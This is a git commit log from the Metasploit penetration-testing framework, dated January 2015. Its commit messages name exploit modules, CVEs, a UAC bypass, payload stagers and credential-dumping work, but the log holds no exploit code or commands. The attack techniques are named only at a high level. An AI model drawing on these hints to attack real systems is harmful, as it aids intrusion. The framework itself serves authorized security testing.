2015-01-20 08:09:35 -08:00
Jon Hart
b0bbce1190
Include peer in most prints
2015-01-20 08:00:02 -08:00
Brent Cook
94fda6e617
Land #4600 , jvazquez-r7's Linux meterpreter bins
2015-01-20 09:38:35 -06:00
wez3
bd0a20a717
Update outlook.rb execute_script time_out
...
I have been using the script in real life cases which have bigger e-mailboxes then in the testing environment. Because of execute_script default time_out no results return, as the powershell scripts run longer then 15 seconds. Changed the timeout to 120.
2015-01-20 11:16:37 +01:00
HD Moore
0b6c324660
Land #4611 , add Hathaway's password
2015-01-19 22:06:24 -06:00
sinn3r
76746eb209
New password from Hathaway
2015-01-19 21:45:47 -06:00
jvazquez-r7
f7aaad1cf1
Delete some extraneous commas
2015-01-19 17:25:45 -06:00
jvazquez-r7
dbc77a2857
Land #4517 , @pedrib's exploit for ManageEngine Multiple Products Authenticated File Upload
...
* CVE-2014-5301
2015-01-19 17:23:39 -06:00
jvazquez-r7
6403098fbc
Avoid sleep(), survey instead
2015-01-19 17:22:04 -06:00
jvazquez-r7
a6e351ef5d
Delete unnecessary request
2015-01-19 17:14:23 -06:00
jvazquez-r7
ed26a2fd77
Avoid modify datastore options
2015-01-19 17:11:31 -06:00
jvazquez-r7
3c0efe4a7e
Do minor style changes
2015-01-19 15:36:05 -06:00
rastating
9d3397901b
Correct version numbers and code tidy up
2015-01-19 20:59:46 +00:00
jvazquez-r7
ddda0b2f4b
Beautify metadata
2015-01-19 14:59:31 -06:00
jvazquez-r7
bb681ba307
Land #4610 , add play options to play_youtube
2015-01-19 12:56:08 -06:00
jvazquez-r7
43e0afeaed
Delete 's' typo
2015-01-19 12:55:35 -06:00
jvazquez-r7
79a24f80b8
Use constant for play options
2015-01-19 12:50:40 -06:00
jvazquez-r7
652400451e
Delete extra k
2015-01-19 12:35:26 -06:00
jvazquez-r7
ec57387821
Add Rex::Java::Serialization::Builder#new_class
2015-01-19 11:54:12 -06:00
jvazquez-r7
4220a5e60f
Use Rex::Java::Serialization::Builder#new_class
2015-01-19 11:53:53 -06:00
IMcPwn
50d43f118b
Make URLs better
...
Removes YouTube logo, loops, hides video controls at bottom, disables keyboard controls, doesn't show info about the video on the top, hides video annotations, and doesn't show related videos at the end.
2015-01-19 12:27:18 -05:00
Hans-Martin Münch (h0ng10)
5813c639d1
Initial commit
2015-01-19 17:23:48 +01:00
Borja Merino
1f35347a0c
payloads_spec updated
2015-01-19 13:22:49 +01:00
Borja Merino
d14413579c
HTTP stager based on WinHttp
2015-01-19 13:01:56 +01:00
Christian Mehlmauer
923d1efa19
Land #4607 , proxy chains description
2015-01-19 10:23:52 +01:00
William Vu
e9a9ab9932
Update spec thingy
2015-01-19 01:38:47 -06:00
Christian Mehlmauer
f7d5a45d77
Land #4606 , fix proxychains description, fix #4587
2015-01-19 06:55:25 +01:00
William Vu
cffa55b12e
Improve proxy chain description
2015-01-18 22:32:22 -06:00
jvazquez-r7
86a37b4cff
First create NewClassDesc refactoring
2015-01-18 17:47:26 -06:00
Christian Mehlmauer
354e952841
fix msftidy warnings
2015-01-18 23:55:57 +01:00
Christian Mehlmauer
5b964bba6a
Land #4518 , Wordpress long password DoS
2015-01-18 23:55:06 +01:00
Christian Mehlmauer
6014ff8a31
fix msftidy warnings
2015-01-18 23:54:16 +01:00
Spencer McIntyre
a4a721924b
Land #4603 , @eyalgr's fix for pymeterp tcp over reading
2015-01-18 11:18:30 -05:00
sgabe
affc661524
Add module for CVE-2014-4936
2015-01-18 17:18:05 +01:00
eyalgr
7a2f0553a8
Update reverse_tcp.rb
...
prevent over-reading from socket
2015-01-18 17:32:53 +02:00
eyalgr
f12c6a1624
Update meterpreter.py
...
Read until exactly pkt_length bytes
2015-01-18 15:45:28 +02:00
eyalgr
9c12fcc2f1
Update bind_tcp.rb
...
Read exactly l bytes
2015-01-18 15:42:09 +02:00
eyalgr
18e15a109a
Update bind_tcp.rb
...
Prevent over reading from socket
2015-01-18 15:35:56 +02:00
eyalgr
d83c6ae215
Update meterpreter.py
...
Read exactly pkt_length from socket, prevents over-reading.
2015-01-18 15:29:23 +02:00
jvazquez-r7
84f5c7ed61
Use extract_string and extract_int
2015-01-18 01:23:19 -06:00
jvazquez-r7
3a3e37ba6c
Refactor extract_mbean_server
2015-01-18 01:20:13 -06:00
jvazquez-r7
4247747fc5
Refactor extract_object
2015-01-18 01:13:00 -06:00
William Vu
84ecde30d1
Land #4586 , mcafee_epo_xxe aux module
2015-01-18 00:50:10 -06:00
William Vu
57ca285f8a
Fix msftidy warnings
2015-01-18 00:49:52 -06:00
William Vu
7c3378b2e6
Land #4593 , msftidy extraneous comma check
2015-01-18 00:46:39 -06:00
William Vu
cb0257bec7
Land #4576 , OpenVAS database import fix
2015-01-18 00:45:36 -06:00
jvazquez-r7
ab391f3b32
Do minor JMX mixin cleanup
2015-01-17 22:40:43 -06:00
pdeardorff-r7
db3185231a
add maxkeys option, dont store loot if localhost and improve streaming
2015-01-17 09:25:32 -08:00
nstarke
55a746eeb7
Changing code to catch everything extraneous
2015-01-17 15:46:26 +00:00
root
3a5d6b4717
Store password hash as loot
2015-01-17 14:17:41 +00:00
m7x
fcca79bbd0
Merge pull request #2 from jhart-r7/landing-4503
...
Correct McAfee credential storage, prepare for store_loot
2015-01-17 13:33:09 +00:00
disenchant
243c8561df
Merge pull request #1 from jhart-r7/landing-4504-jhart
...
Unit tests for #4504
2015-01-17 10:52:17 +01:00
sinn3r
bff66ade60
Actually, not necessary. Already checked.
2015-01-17 02:28:56 -06:00
sinn3r
45b33bb82f
Handle should be checked
2015-01-17 02:27:14 -06:00
sinn3r
4281d9fdf5
Don't use should for rpsec
2015-01-17 01:50:37 -06:00
sinn3r
2e9b99ece6
Update rspec
2015-01-17 01:25:28 -06:00
sinn3r
84030d273b
rspec progress
2015-01-16 22:06:49 -06:00
jvazquez-r7
697e4fbd41
Land #4584 , @sgabe's fix for egghunter searchforward
2015-01-16 19:36:52 -06:00
jvazquez-r7
a42b095472
Delete heaponly option
2015-01-16 19:35:57 -06:00
jvazquez-r7
859a8978e7
Allow searchforward to be an string
2015-01-16 19:33:19 -06:00
sinn3r
3d93bc06e8
rspec progress
2015-01-16 18:25:54 -06:00
jvazquez-r7
ffc676ead0
Update linux meterp binaries
2015-01-16 17:09:38 -06:00
Tod Beardsley
2cc44cc7c9
Fix typo on module title
...
Brazenly ignoring process and merging myself.
At least it's still a signed merge commit.
2015-01-16 16:31:58 -06:00
Tod Beardsley
375a7e1fe9
Typo. Filtering.
2015-01-16 16:30:52 -06:00
sgabe
3297d198f3
Fix search-forward option in regular egghunter
2015-01-16 22:16:30 +01:00
Jon Hart
8889f95920
Correct McAfee credential storage, prepare for store_loot
2015-01-16 12:10:01 -08:00
Jon Hart
b2e9e43f3d
Add unit tests for RPC's getg
2015-01-16 10:39:05 -08:00
David Maloney
17aac619f9
structure.sql update
2015-01-16 12:19:41 -06:00
David Maloney
ef821564e8
resolve lockfile conflict Merge branch 'master' into bug/MSP-11643/service-uniqueness-validation
...
Conflicts:
Gemfile.lock
metasploit-framework-db.gemspec
2015-01-16 12:11:05 -06:00
David Maloney
1bb1a51127
updated gemfile and lock file
2015-01-16 12:07:29 -06:00
pdeardorff-r7
f1bcbb7d78
Merge remote-tracking branch 'live/master' into feature/memcached-module
2015-01-16 09:57:17 -08:00
Jon Hart
e7566944df
Simplify get/getg rspec
2015-01-16 09:48:24 -08:00
Brent Cook
a2a1a90678
Land #4316 , Meatballs1 streamlines payload execution for exploits/windows/local/wmi
...
also fixes a typo bug in WMIC
2015-01-16 11:16:22 -06:00
Christian Mehlmauer
596e956660
some changed
2015-01-16 17:53:06 +01:00
Jon Hart
c6121f0a37
Add rspec coverage for getg (and set/setg, in a way)
2015-01-16 08:43:14 -08:00
Jon Hart
7f90b68cce
Add rspec coverage for get (and set/setg, in a way)
2015-01-16 08:28:32 -08:00
Brent Cook
6a68888712
Land #4590 , jvennix-r7's fix for same-scheme URLs
...
made a trivial string formatting tweak
2015-01-16 09:10:56 -06:00
Brent Cook
7ef721bdd6
Might as well format the url all at once.
2015-01-16 09:01:25 -06:00
James Lee
488847cecc
Split smb_cmd_session_setup into with/without esn
...
Extended Security Negotiation
2015-01-16 07:05:10 -06:00
James Lee
6b6a7e81c9
Style fixes
2015-01-16 06:39:21 -06:00
sinn3r
64b6c4a0b5
I think unless is preferred
2015-01-16 01:33:09 -06:00
sinn3r
058ef1f167
Uh, what?
2015-01-16 01:15:58 -06:00
sinn3r
05458ec81f
I should be done with md5_lookup.rb now
2015-01-16 01:13:37 -06:00
jvazquez-r7
c516190d07
Create Msf::Jmx::Util
2015-01-15 23:21:54 -06:00
jvazquez-r7
d9c6c56779
Refactor extract_rmi_connection_stub
2015-01-15 23:15:30 -06:00
jvazquez-r7
2d2f26a0e3
Change method names for stream builders
2015-01-15 23:01:27 -06:00
James Lee
273ba54a21
Fix server/capture/smb to use create_credential
2015-01-15 22:39:11 -06:00
sinn3r
1a808991aa
Starting rspec
2015-01-15 21:55:29 -06:00
sinn3r
87ab27e9d2
Ugh, typo -_-
2015-01-15 21:52:15 -06:00
sinn3r
7b2458c491
Filter out whitespace
2015-01-15 21:51:58 -06:00
jvazquez-r7
00117fc963
Do first and ugly refactoring
2015-01-15 21:18:03 -06:00
sinn3r
36f8fda0b1
Leave contact info
2015-01-15 21:04:12 -06:00
sinn3r
95895a5969
Small update
2015-01-15 21:00:52 -06:00
sinn3r
754d303f66
Some more doc
2015-01-15 20:59:47 -06:00
sinn3r
1d79a9de20
This is the working version
2015-01-15 20:51:27 -06:00
jvazquez-r7
26789fa76c
Add JMXPayload binary classes for testing
2015-01-15 17:58:09 -06:00
jvazquez-r7
4d35131f59
Provide description and authentication support
2015-01-15 17:57:35 -06:00
Christian Mehlmauer
3237dd8591
add comma check to msftidy
2015-01-16 00:13:55 +01:00
Brandon Perry
1929f36050
Update mcafee_epo_xxe.rb
2015-01-15 16:50:14 -06:00
Jon Hart
da1c56a65d
Add minimal tests for get/getg
2015-01-15 14:46:12 -08:00
jvazquez-r7
2cd15d0155
Delete comments
2015-01-15 16:43:03 -06:00
jvazquez-r7
cab4787172
Add initial JMX module
2015-01-15 16:41:37 -06:00
Jon Hart
ba2c33132b
Put Msf::Ui::Console::CommandDispatcher specs in the right location
2015-01-15 14:06:29 -08:00
sinn3r
6ae66315bd
Block based is safer
2015-01-15 16:05:35 -06:00
Joe Vennix
8c3d4c8d07
Spelling tweak.
2015-01-15 15:19:46 -06:00
sinn3r
35c808d70f
Progress
2015-01-15 15:13:03 -06:00
Jon Hart
d68b62cf21
Make canary value (URI) configurable
2015-01-15 13:12:32 -08:00
Joe Vennix
35c9a13199
Handle the usage of // (same-scheme) URLs.
2015-01-15 15:09:50 -06:00
Jon Hart
2dca18265e
Track and vprint canary value and code
2015-01-15 12:34:53 -08:00
Brent Cook
c1e604f201
Land #4562 : wchen-r7's CVE addition
2015-01-15 14:34:37 -06:00
Jon Hart
3489ea540e
Make status code checking configurable
2015-01-15 12:22:16 -08:00
Brent Cook
bc895ab4d1
Land #4582 , jhart-r7's Apple Airport Authentication Avalanche
2015-01-15 14:07:18 -06:00
Jon Hart
4641b02646
Base canary path from TARGET_URI
2015-01-15 12:05:10 -08:00
Jon Hart
7a900cc889
More Ruby-ish way for cmd_get
2015-01-15 11:54:01 -08:00
Brent Cook
47cd5a3e59
Land #4562 , wchen-r7's Win8 NtApphelpCacheControl privilege escalation
2015-01-15 13:52:07 -06:00
Jon Hart
8aff50aed1
Make get/getg help more consistent
2015-01-15 11:36:32 -08:00
Jon Hart
45cef82f6c
Use appropriate help for get/getg
2015-01-15 11:35:39 -08:00
sinn3r
09eaf80a90
Add CVE
2015-01-15 13:22:00 -06:00
sinn3r
7628b119c6
Land #4588 - GetGo Download Manager module
2015-01-15 12:55:00 -06:00
sgabe
68dc3ce876
Minor code formatting
2015-01-15 19:33:08 +01:00
Gabor Seljan
e3450d71de
Merge pull request #3 from wchen-r7/pr4588_update
...
Support configurable resource for getgodm_http_response_bof
2015-01-15 19:28:53 +01:00
sinn3r
c3bb02081b
I should be done w/ arg parsing now
2015-01-15 12:18:50 -06:00
sinn3r
fd850d6af6
Argument parsing
2015-01-15 12:03:52 -06:00
pdeardorff-r7
507050b316
rescue from down memcached server or timeout
2015-01-15 09:51:42 -08:00
pdeardorff-r7
0e893cd772
Merge remote-tracking branch 'live/master' into feature/memcached-module
2015-01-15 09:40:21 -08:00
pdeardorff-r7
4d2ad8865f
remove debug line
2015-01-15 09:37:51 -08:00
pdeardorff-r7
154eb7956c
fix storing of loot and support localhost session
2015-01-15 09:36:15 -08:00
Brandon Perry
4e4ca15422
Update mcafee_epo_xxe.rb
2015-01-15 11:02:11 -06:00
William Vu
204f0f8ea7
Land #4573 , Date/Subject support for SMTPDeliver
2015-01-15 10:53:30 -06:00
Brandon Perry
e53522b64b
Update mcafee_epo_xxe.rb
2015-01-15 10:28:52 -06:00
sinn3r
57904773e7
Configurable resource
2015-01-15 10:28:03 -06:00
Brandon Perry
86d5358299
Update mcafee_epo_xxe.rb
2015-01-15 09:56:02 -06:00
Gabor Seljan
ef0be946b1
Use HttpServer instead of TcpServer
2015-01-15 10:39:17 +01:00
sinn3r
d5330bb4a7
Gotta move on to something else right quick, brb
...
stash
2015-01-14 23:34:47 -06:00
Brandon Perry
53e1304afb
Update mcafee_epo_xxe.rb
2015-01-14 18:19:27 -06:00
root
f4f4787efe
Move run method
2015-01-14 23:54:02 +00:00
Pedro Ribeiro
3768cf0a69
Change version to int and add proper timestamp
2015-01-14 22:59:11 +00:00
jvazquez-r7
41fa542456
Delete jmx invoke spec
2015-01-14 16:51:12 -06:00
jvazquez-r7
621cada2ac
Undo build_gc_call_data refactoring
2015-01-14 16:47:28 -06:00
jvazquez-r7
c56f859764
Merge more stream specs
2015-01-14 16:39:36 -06:00
Jon Hart
1f6defda73
Use more correct check codes
2015-01-14 13:10:35 -08:00
sgabe
da0fce1ea8
Add module for CVE-2014-2206
2015-01-14 22:04:30 +01:00
David Maloney
f42bda1a51
refactor parsing the results
...
moved the result parsing into its own method
cleaned up run method a bit more, added YARD docs
to the new methods
2015-01-14 14:15:57 -06:00
David Maloney
c687ecca2e
refactor filter building
...
move the filter_string into a seperate method
and use shovel oeprator to keep it a little cleaner
2015-01-14 14:04:28 -06:00
sinn3r
18a27d1752
Initial commit of the md5_lookup script (as a standalone tool)
...
Resolve #4399
2015-01-14 13:53:15 -06:00
David Maloney
9b344a9605
move query fields to a constant
...
these fields should never change, so put the array
in a constant and freeze it to prevent accidental tampering
2015-01-14 13:20:00 -06:00
David Maloney
82939595f8
Merge branch 'master' into feature/metaballs1/enum_ad_users
2015-01-14 13:06:18 -06:00
jvazquez-r7
70c99748ac
Add Stream spec for marshalled argument
2015-01-14 12:05:27 -06:00
jvazquez-r7
a5ae2aadee
Add spec for MBeanServerConnection.invoke stream
2015-01-14 11:44:39 -06:00
Brandon Perry
1ed07bac32
Update mcafee_epo_xxe.rb
2015-01-14 11:01:14 -06:00
Brandon Perry
794bb65817
Create mcafee_epo_xxe.rb
2015-01-14 10:54:58 -06:00
dmaloney-r7
052c14be69
Merge pull request #15 from wvu-r7/pr/4573
...
Fix typo and add Subject support
2015-01-14 09:45:47 -06:00
William Vu
f0de45c371
Fix typo and add Subject support
2015-01-14 02:17:29 -06:00
jstnkndy
766a07a904
Add CVE-2015-0975 XXE for OpenNMS <= 14.0.2
2015-01-13 22:08:08 -05:00
jvazquez-r7
915df2029d
Add stream spec
2015-01-13 18:35:54 -06:00
rastating
8a89b3be28
Cleanup of various bits of code
2015-01-13 22:20:40 +00:00
sgabe
95eab85df4
Add support for heap-only search in regular egghunter
2015-01-13 21:31:13 +01:00
Jon Hart
b7eb4d24aa
Squash another rogue 5009
2015-01-13 10:36:43 -08:00
Jon Hart
5cc7d5d1a8
Remove errant pry
2015-01-13 10:35:05 -08:00
Jon Hart
ac4eb3bb90
Land #4578 , @dlanner's fix for rails_secret_deserialization
2015-01-13 09:37:28 -08:00
jvazquez-r7
36b2771564
Add spec for send_dgc_ack
2015-01-13 11:06:08 -06:00
jvazquez-r7
ad082bc1af
Add specs for build_dgc_ack
2015-01-13 11:02:16 -06:00
jvazquez-r7
0babde8c1a
Fix specs
2015-01-13 10:48:23 -06:00
jvazquez-r7
4351964290
Change module filename
2015-01-13 10:46:14 -06:00
jvazquez-r7
3946b95bc3
Update rex code and specs
2015-01-13 10:45:00 -06:00
jvazquez-r7
1f0b986bf1
Change filenames
2015-01-13 10:43:27 -06:00
David Lanner
c5cfc11d84
fix cookie regex by removing a space
2015-01-12 23:13:18 -05:00
Jon Hart
69f03f5c5d
Move ACPP default port into Rex
2015-01-12 19:43:57 -08:00
Jon Hart
4e6879fb1e
Add tests for Rex::Proto:ACPP::Message#succesful?
2015-01-12 19:36:12 -08:00
Jon Hart
01a9fb1483
Spelling
2015-01-12 19:29:41 -08:00
Jon Hart
a076a9ab89
report_vuln
2015-01-12 19:23:08 -08:00
Jon Hart
d5cdfe73ed
Big style cleanup
2015-01-12 19:11:14 -08:00
nstarke
9baae6e494
Potential Fix For OpenVAS DB Import Issue
2015-01-13 02:46:13 +00:00
Jon Hart
9721993b8f
Allow blank password, remote more unused opts, print private
2015-01-12 18:43:54 -08:00
pdeardorff-r7
99cf668441
add memcached extractor module
2015-01-12 16:40:06 -08:00
rastating
8246f4e0bb
Add ability to use both WP and EC attack vectors
2015-01-12 23:30:59 +00:00
Jon Hart
44059a6e34
Disable more unused options
2015-01-12 14:15:40 -08:00
Jon Hart
ec506af8ea
Make ACPP login work
2015-01-12 14:01:23 -08:00
rastating
e6f6acece9
Add a date hash to the post data
2015-01-12 21:21:50 +00:00
Jon Hart
e9557ffe58
Simplify module in prep for some authbrute cleanups
2015-01-12 13:08:12 -08:00
Jon Hart
691ed2cf14
More cleanup
...
Don't validate checksums by default until they are better understood
Handle the unknowns a bit better
Make checksum failures more obvious why it failed
2015-01-12 13:08:12 -08:00
Jon Hart
97f5cbdf08
Add initial Airport ACPP login scanner
2015-01-12 13:08:12 -08:00
Jon Hart
fba6945e9a
Doc payload oddness. Add more checksum tests
2015-01-12 13:08:12 -08:00
Jon Hart
54eab4ea3d
Checksum validation, more tests
2015-01-12 13:08:12 -08:00
Jon Hart
7e4dd4e55b
Add ACPP decoding capabilities
2015-01-12 13:08:12 -08:00
Jon Hart
2af82ac987
Some preliminary Apple Airport admin protocol (ACPP?) support
2015-01-12 13:08:11 -08:00
Jon Hart
9e76e0b0d8
Simplify. Document. Handle edge cases
...
Simplify detection logic.
Document testing method better
Ensure that body doesn't include canary cookie name too
Use full_uri in prints when possible
2015-01-12 11:40:17 -08:00
David Maloney
6dad66c04c
add Date header support to SMTP deliver
...
the SMTP mixin now supports the Date header.
The user can supply a a value for the Date Header
or else it will automatically use the current local
DateTime. This will help alleviate certain issues
caused by servers setting this field for the cliebnt incorrectly
MSP-9390
2015-01-12 11:18:07 -06:00
sinn3r
7876401419
Land #4476 - Lexmark MarkVision Enterprise Arbitrary File Upload
2015-01-12 10:44:23 -06:00
sinn3r
34bbc5be90
print error message about limitation
2015-01-11 20:12:40 -06:00
Jon Hart
d4843f46ed
Make auth checking optional and off by default
2015-01-11 12:15:57 -08:00
Jon Hart
9491e4c977
Use send_request_raw; set realistic (and often necessary) Referer
2015-01-11 12:10:40 -08:00
rastating
ea37e2e198
Add WP EasyCart file upload exploit module
2015-01-10 21:05:02 +00:00
Jon Hart
c8f5026fd2
Land #4565 , @FireFart's improvement to the msftidy check for bad msf URLs
2015-01-10 11:10:37 -08:00
root
52b929c5ca
Fix https://github.com/m7x/metasploit-framework/pull/1#issuecomment-69454590
2015-01-10 14:15:53 +00:00
sinn3r
46d1616994
Hello ARCH_X86_64
2015-01-10 06:16:22 -06:00
m7x
ce89d39753
Merge pull request #1 from jhart-r7/landing-4503-jhart
...
Ruby/Metasploit style cleanup of McAfee hashdump module
2015-01-10 12:06:19 +00:00
jvazquez-r7
49f04faf3f
Land #4065 , @fozavci's Cisco CUCDM auxiliary modules
2015-01-10 01:11:45 -06:00
jvazquez-r7
05d364180b
Beautify descriptions
2015-01-10 01:10:08 -06:00
jvazquez-r7
a2d479a894
Refactor run method
2015-01-10 01:06:56 -06:00
jvazquez-r7
cf9d7d583e
Do first code cleanup
2015-01-10 00:51:31 -06:00
jvazquez-r7
000d7dd1eb
Minor beautification
2015-01-10 00:32:10 -06:00
jvazquez-r7
1d0e9a2dca
Use snake_case filename
2015-01-10 00:29:28 -06:00
jvazquez-r7
070e833d46
Use snake_case filename
2015-01-10 00:28:01 -06:00
jvazquez-r7
59d602f37d
Refactor cisco_cucdm_callforward
2015-01-10 00:27:31 -06:00
jvazquez-r7
511a7f8cca
send_request_cgi already URI encodes
2015-01-10 00:06:26 -06:00
jvazquez-r7
5d8167dca6
Beautify description
2015-01-10 00:02:42 -06:00
jvazquez-r7
9fb4cfb442
Do First callforward cleanup
2015-01-10 00:00:27 -06:00
jvazquez-r7
f7af0d9cf0
Test landing #4065 into up to date branch
2015-01-09 23:40:16 -06:00
jvazquez-r7
bedbffa377
Land #3700 , @ringt fix for oracle_login
...
* Avoid retrying logins when connection cannot be stablished
2015-01-09 22:59:32 -06:00
jvazquez-r7
38c36b49fb
Report when nothing is rescued
2015-01-09 22:58:19 -06:00
Jon Hart
5c12f9da75
More cleanup
...
Handle multiple versions
Better print_
Actually extract
2015-01-09 18:01:17 -08:00
sinn3r
3c8be9e36d
Just x86
2015-01-09 19:12:51 -06:00
sinn3r
7e1b8a1c83
Not needed anymore
2015-01-09 19:05:44 -06:00
sinn3r
c79589509c
Old comment
2015-01-09 19:04:50 -06:00
sinn3r
74e8e057dd
Use RDL
2015-01-09 19:02:08 -06:00
Brent Cook
6d2bc23a7f
Land #4567 - OJ kills metcli.exe
2015-01-09 17:27:55 -06:00
OJ
dfdf99c8f4
Remove metcli
...
The metcli.exe binary doesn't get used any more and the source was removed
from Meterpreter ages ago. No point in having it in the repo any more.
2015-01-10 09:21:44 +10:00
OJ
09d91c9a0c
Land #4564 - Update to latest meterpreter bins
2015-01-10 09:11:08 +10:00
Brent Cook
ce87b126c1
Update to the latest meterpreter_bins
...
This removes checked-in sniffer extension in favor of the gem-packaged version.
It also pulls in the changes for verifying #4411
2015-01-09 16:57:10 -06:00
Jon Hart
b1ca1cc110
Add back TARGETURI because Exploit::Remote::HttpClient doesn't define one (...)
2015-01-09 13:20:18 -08:00
Christian Mehlmauer
56c1f74d70
modify msftidy regex
2015-01-09 22:07:21 +01:00
Jon Hart
831ba8b470
Improve (mis)Fortune Cookie (CVE-2014-9222) scanner
2015-01-09 12:58:35 -08:00
Christian Mehlmauer
d4d1a53533
fix invalid url
2015-01-09 21:57:52 +01:00
Christian Mehlmauer
fd2307680d
Land #4550 , wp-symposium file upload
2015-01-09 21:55:02 +01:00
Jon Hart
35fd17c4f1
Cleanup style
2015-01-09 11:00:25 -08:00
jvazquez-r7
3d20ea822e
Land #2156 , @veritysr exploit for MySQL FILE privilege abuse on Windows
...
* By uploading payload to All Users startup folder
2015-01-09 12:22:09 -06:00
jvazquez-r7
d65ed54e0c
Check STARTUP_FOLDER option
2015-01-09 12:21:01 -06:00
jvazquez-r7
2c633e403e
Do code cleanup
2015-01-09 12:07:59 -06:00
jvazquez-r7
d52e9d4e21
Fix metadata again
2015-01-09 11:20:00 -06:00
jvazquez-r7
9dbf163fe7
Do minor style fixes
2015-01-09 11:17:16 -06:00
jvazquez-r7
8f09e0c20c
Fix metadata by copying the mysql_mof data
2015-01-09 11:15:32 -06:00
jvazquez-r7
da6496fee1
Test landing #2156 into up to date branch
2015-01-09 11:04:47 -06:00
sinn3r
ee5c249c89
Add EDB reference
2015-01-09 00:19:12 -06:00
sinn3r
75de792558
Add a basic check
2015-01-09 00:03:39 -06:00
sinn3r
fce564cde2
Meh, not the debug build. Should be the release build.
2015-01-08 22:06:07 -06:00
sinn3r
4911127fe2
Match the title and change the description a little bit
2015-01-08 21:48:01 -06:00
sinn3r
f998bfc246
Update exploit.cpp
2015-01-08 21:37:13 -06:00
sinn3r
14c54cbc22
Update DLL
2015-01-08 21:36:02 -06:00
sinn3r
b7b3ae4d2a
A little randomness
2015-01-08 21:25:55 -06:00
Jon Hart
d8743ea32b
Land #4539 , @Meatballs1's creds cmd now supports type filters, -R for search
2015-01-08 18:48:27 -08:00
Jon Hart
7c4b86ca4c
If an unsupported cred type is given to -t, show what is valid
2015-01-08 18:42:25 -08:00
Jon Hart
e4547eb474
Land #4537 , @wchen-r7's fix for #4098
2015-01-08 17:57:16 -08:00
Jon Hart
f13e56aef8
Handle bracketed and unbracketed results, add more useful logging
2015-01-08 17:51:31 -08:00
Jon Hart
14db112c32
Add logging to show executed Java and result
2015-01-08 16:53:12 -08:00
sinn3r
eea6ccee1f
Source
2015-01-08 18:43:29 -06:00
sinn3r
b65013c5c5
Another update
2015-01-08 18:39:04 -06:00
sinn3r
b2ff5425bc
Some changes
2015-01-08 18:33:30 -06:00
sinn3r
53e6f42d99
This works
2015-01-08 17:57:14 -06:00
jvazquez-r7
ebac17893c
Use a new class name
2015-01-08 17:41:29 -06:00
Pedro Ribeiro
c76aec60b0
Add OSVDB id and full disclosure URL
2015-01-08 23:29:38 +00:00
jvazquez-r7
97a23788b6
Add unused args to get_once on specs
2015-01-08 17:22:21 -06:00
Jon Hart
e4cdac1440
Land #4559 , @FireFart's fix for wordpress version detection (from wpscan)
2015-01-08 15:19:29 -08:00
sinn3r
7ed6b3117a
Update
2015-01-08 17:18:14 -06:00
sinn3r
d3738f0d1a
Add DLL
2015-01-08 17:17:55 -06:00
Jon Hart
75726f1e74
Update spec to cover #4559
2015-01-08 15:15:01 -08:00
Brent Cook
fb5170e8b3
Land #2766 , Meatballs1's refactoring of ExtAPI services
...
- Many code duplications are eliminated from modules in favor of shared
implementations in the framework.
- Paths are properly quoted in shell operations and duplicate operations are
squashed.
- Various subtle bugs in error handling are fixed.
- Error handling is simpler.
- Windows services API is revised and modules are updated to use it.
- various API docs added
- railgun API constants are organized and readable now.
2015-01-08 16:54:01 -06:00
jvazquez-r7
c05b2e2b03
Fix Continuation specs
2015-01-08 16:51:33 -06:00
Jon Hart
ed74271c26
Land #4548 , @dmaloney-r7's fix to allow loginscanners to work w/o a DB
2015-01-08 14:50:08 -08:00
jvazquez-r7
5dfc0f1665
Fix Client mixin specs
2015-01-08 16:48:11 -06:00
Christian Mehlmauer
14b1d8dc5f
no space required
2015-01-08 23:43:06 +01:00
Jon Hart
98cee8249d
Move non-active DB messages to warning and clarify/simplify
2015-01-08 14:40:47 -08:00
Christian Mehlmauer
f7eb9a6cf8
update wordpress version detection regex
2015-01-08 23:36:59 +01:00
Brent Cook
e447a17795
bump deprecated date
2015-01-08 16:20:06 -06:00
sinn3r
50ecfbf64c
Land #4553 - Update bypass UAC to work on 7, 8, 8.1, and 2012
2015-01-08 16:19:55 -06:00
Brent Cook
05279ef02a
consistently use double-quoted paths
...
allow for variable expansion if needed
2015-01-08 16:10:28 -06:00
jvazquez-r7
fa5cd928a1
Refactor exploit to use the mixin
2015-01-08 16:04:56 -06:00
jvazquez-r7
ca765e2cc5
Refactor client mixin
2015-01-08 15:46:24 -06:00
rastating
82e6183136
Add Msf::Exploit::FileDropper mixin
2015-01-08 21:07:00 +00:00
rastating
93dc90d9d3
Tidied up some code with existing mixins
2015-01-08 20:53:56 +00:00
jvazquez-r7
873ade3b8a
Refactor exploit module
2015-01-08 14:52:55 -06:00
jvazquez-r7
956bf0c8f9
Fix indentation
2015-01-08 14:31:37 -06:00
Brent Cook
0f7f75b1c0
Land #4557 , FireFart's fix for faulting folly
2015-01-08 14:29:27 -06:00
jvazquez-r7
3debcef00b
Fix call from aux module
2015-01-08 14:24:27 -06:00
jvazquez-r7
db4d24cb2c
Add spec for build_gc_call_data
2015-01-08 14:24:07 -06:00
jvazquez-r7
549e42279c
Create specs for Streams
2015-01-08 14:17:57 -06:00
sinn3r
0e6c7181b1
"Stash" it
2015-01-08 14:13:14 -06:00
jvazquez-r7
e9e6c32769
Move build* calls to Streams
2015-01-08 14:13:06 -06:00
jvazquez-r7
23d0ae9488
Add Streams mixin
2015-01-08 14:01:41 -06:00
jvazquez-r7
c205ef28d4
Refactor build_gc_call
2015-01-08 14:01:04 -06:00
Christian Mehlmauer
a5b56c7d09
fix error
2015-01-08 19:48:29 +01:00
David Maloney
fd7e65d459
derp just check db active
...
the other way of doing this was stupid, jsut check if
the db is active
2015-01-08 11:58:56 -06:00
jvazquez-r7
9a42d42318
Add specs for Msf::Rmi::Client
2015-01-08 11:57:38 -06:00
jvazquez-r7
bf482e806c
Add YARD documentation for the YARD mixin
2015-01-08 09:56:32 -06:00
Trevor Rosen
2a52bfd26d
Land #4554 , metasploit-credential bump to 0.13.11
2015-01-08 09:49:08 -06:00
Trevor Rosen
14a35eb28a
Bump metasploit-credential to 0.13.11
2015-01-08 09:35:07 -06:00
OJ
8be813e51d
Merge runas updates from Meatballs1/update_bypass_uac
2015-01-08 21:21:19 +10:00
Meatballs
a9fee9c022
Fall back to runas if UAC disabled
2015-01-08 11:07:57 +00:00
Meatballs
8f720ef766
Use get_env in runas
2015-01-08 11:07:40 +00:00
William Vu
3c4ec1d958
Land #4547 , rm data/meterpreter/common.lib
2015-01-08 04:52:29 -06:00
William Vu
ea793802cc
Land #4528 , mantisbt_php_exec improvements
2015-01-08 04:50:00 -06:00
Meatballs
3c3d28b475
Land #4551 , correct spelling in dns_bruteforce
2015-01-08 10:03:28 +00:00
jvazquez-r7
73e3cd19c3
Convert java_rmi_server aux mod to use new mixin
2015-01-08 00:29:50 -06:00
OJ
844460dd87
